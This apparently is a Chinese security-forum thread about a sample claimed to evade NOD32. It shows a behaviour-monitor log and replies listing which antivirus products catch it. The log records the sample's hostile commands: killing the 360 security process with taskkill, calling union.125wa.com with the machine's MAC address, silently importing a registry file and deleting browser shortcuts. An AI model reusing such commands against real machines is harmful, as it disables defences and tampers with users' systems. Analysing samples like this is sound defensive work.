过NOD32

connic

XE-cj

2010-8-7 20:19:52    创建新进程    允许
进程: c:\windows\explorer.exe
目标: c:\documents and settings\xe-cj\my documents\huo.exe
命令行: "C:\Documents and Settings\XE-CJ\My Documents\huo.exe"
规则: [应用程序]c:\windows\explorer.exe

2010-8-7 20:19:57    创建新进程    阻止
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: c:\windows\system32\taskkill.exe
命令行: taskkill /f /im ZhuDongFangyu.exe
规则: [应用程序]*

2010-8-7 20:19:59    创建文件    允许
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: C:\Documents and Settings\XE-CJ\My Documents\huo.exe
规则: [文件组]临时目录 -> [文件]c:\documents and settings\xe-cj\my documents

2010-8-7 20:20:06    创建文件    允许
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: C:\Program Files\ComPlus Applications\takesoft.exe
规则: [文件组]所有执行文件 -> [文件]*; *.exe

2010-8-7 20:20:13    创建新进程    阻止
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: c:\program files\internet explorer\iexplore.exe
命令行: "C:\Program Files\Internet Explorer\iexplore.exe" http://union.125wa.com/get.asp?mac=00C291C0606&makedate=00000000000000000001&comput=Home&ver=29&userid=0001&Key=60DC0A2D4699F518E7FCCCA88D314E18
规则: [应用程序]*

2010-8-7 20:20:15    创建文件    允许
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: C:\Program Files\ComPlus Applications\2.ico
规则: [文件]*

2010-8-7 20:20:16    创建文件    允许
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: C:\Program Files\ComPlus Applications\3.ico
规则: [文件]*

2010-8-7 20:20:17    创建文件    允许
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: C:\Program Files\ComPlus Applications\4.ico
规则: [文件]*

2010-8-7 20:20:18    创建文件    允许
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: C:\Program Files\ComPlus Applications\5.ico
规则: [文件]*

2010-8-7 20:20:21    创建文件    允许
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: C:\Program Files\ComPlus Applications\6.ico
规则: [文件]*

2010-8-7 20:20:22    创建文件    允许
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: C:\Program Files\ComPlus Applications\7.ico
规则: [文件]*

2010-8-7 20:20:23    创建文件    允许
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: C:\Program Files\ComPlus Applications\8.ico
规则: [文件]*

2010-8-7 20:20:24    创建文件    允许
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: C:\Program Files\ComPlus Applications\9.ico
规则: [文件]*

2010-8-7 20:20:24    创建文件    允许
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: C:\Program Files\ComPlus Applications\10.ico
规则: [文件]*

2010-8-7 20:20:25    创建文件    允许
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: C:\Program Files\ComPlus Applications\11.ico
规则: [文件]*

2010-8-7 20:20:28    创建文件    允许
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: C:\Program Files\ComPlus Applications\12.ico
规则: [文件]*

2010-8-7 20:20:30    创建文件    允许
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: C:\Program Files\ComPlus Applications\13.ico
规则: [文件]*

2010-8-7 20:20:39    向其他进程发送消息    阻止
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: c:\program files\mozilla firefox\firefox.exe
消息: WM_DDE_EXECUTE
规则: [应用程序]*

2010-8-7 20:20:53    创建新进程    允许
进程: c:\documents and settings\xe-cj\my documents\huo.exe
目标: c:\program files\complus applications\takesoft.exe
命令行: "C:\Program Files\ComPlus Applications\takesoft.exe" C:\Documents and Settings\XE-CJ\My Documents\huo.exe===
规则: [应用程序]*

2010-8-7 20:20:56    删除文件    允许
进程: c:\program files\complus applications\takesoft.exe
目标: C:\Documents and Settings\XE-CJ\My Documents\huo.exe
规则: [文件组]临时目录 -> [文件]c:\documents and settings\xe-cj\my documents

2010-8-7 20:21:05    创建文件    允许
进程: c:\program files\complus applications\takesoft.exe
目标: C:\Program Files\ComPlus Applications\takesoft.exe
规则: [文件组]所有执行文件 -> [文件]*; *.exe

2010-8-7 20:21:11    删除注册表值    阻止
进程: c:\program files\complus applications\takesoft.exe
目标: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager; PendingFileRenameOperations

2010-8-7 20:21:13    创建文件    允许
进程: c:\program files\complus applications\takesoft.exe
目标: C:\Program Files\ComPlus Applications\tem9B5.tmp
规则: [文件]*

2010-8-7 20:21:16    创建新进程    阻止
进程: c:\program files\complus applications\takesoft.exe
目标: c:\windows\system32\taskkill.exe
命令行: taskkill /f /im ZhuDongFangyu.exe
规则: [应用程序]*

2010-8-7 20:21:18    创建文件    允许
进程: c:\program files\complus applications\takesoft.exe
目标: C:\Documents and Settings\XE-CJ\Local Settings\Temp\jia.reg
规则: [文件]*

2010-8-7 20:21:21    创建新进程    阻止
进程: c:\program files\complus applications\takesoft.exe
目标: c:\windows\regedit.exe
命令行: regedit /s "C:\DOCUME~1\XE-CJ\LOCALS~1\Temp\jia.reg"
规则: [应用程序]*

2010-8-7 20:21:35    创建新进程    阻止
进程: c:\program files\complus applications\takesoft.exe
目标: c:\windows\system32\cmd.exe
命令行: cmd.exe /c del "c:\documents and settings\xe-cj\application data\microsoft\internet explorer\quick launch\启动 internet explorer 浏览器.lnk"
规则: [应用程序]*

2010-8-7 20:21:39    创建新进程    阻止
进程: c:\program files\complus applications\takesoft.exe
目标: c:\windows\system32\cmd.exe
命令行: cmd.exe /c del "c:\documents and settings\xe-cj\桌面\opera.exe.lnk"
规则: [应用程序]*

2010-8-7 20:21:42    创建新进程    阻止并结束进程
进程: c:\program files\complus applications\takesoft.exe
目标: c:\windows\system32\cmd.exe
命令行: cmd.exe /c del "c:\documents and settings\all users\桌面\mozilla firefox.lnk"
规则: [应用程序]*

62590423

生成的exe



http://virusscan.jotti.org/en/scanresult/cd8f8ba7c93bba373e1f570f9dcc2d537b76f22b

a369258147

卡江东N

AVG avast kill

hansyu

to avert(mcafee)

rok827

norton auto protect kill

hj5abc

deepguard拦截

蝉鸣时

To ESET.
huo.exe　takesoft.exe

To KL.

南雁北飞

avast kill